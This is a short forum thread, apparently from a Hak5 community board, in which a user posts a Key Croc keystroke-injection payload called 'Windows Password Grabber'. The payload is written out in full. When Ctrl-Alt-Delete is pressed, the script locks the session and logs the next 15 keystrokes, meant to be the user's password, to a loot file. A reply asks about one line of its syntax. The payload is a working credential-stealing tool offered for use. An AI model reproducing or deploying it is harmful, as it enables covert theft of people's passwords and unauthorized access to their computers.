RootJunky Posted May 30, 2020 Share Posted May 30, 2020 (edited) Windows Password Grabber CAD This is a simple payload used to logout ones control alt delete is pressed on a windows PC, then it will capture the next 15 buttons pressed. You can edit the script to your liking. The 15 buttons saved will be stored in your loot folder. # Title: Windows Password Grabber # Description: When Control Alt Delete is pressed it will long out the current user and request a password that will be captured and stored in loot. # Author: RootJunky # Version: 1.0 # Category: Credentials # # MATCH \[CONTROL-ALT-DELETE\] LED ATTACK STAGE1 QUACK STRING "GUI l" SAVEKEYS /root/loot/password.log NEXT 15 QUACK DELAY 1000 LED OFF https://github.com/rootjunky/keycroc-payloads/blob/master/library/examples/windows-password-grabber-ctrl-alt-delete.txt Edited July 4, 2020 by RootJunky needed correction Quote Link to comment Share on other sites More sharing options...
Darren Kitchen Posted May 30, 2020 Share Posted May 30, 2020 What's up with the QUACK STRING "GUI l" part? Quote Link to comment Share on other sites More sharing options...
RootJunky Posted May 30, 2020 Author Share Posted May 30, 2020 For some reason QUACK GUI L wasn't working on my machine once control alt delete was matched but QUACK STRING GUI l works. Quote Link to comment Share on other sites More sharing options...
Recommended Posts
Join the conversation
You can post now and register later. If you have an account, sign in now to post with your account.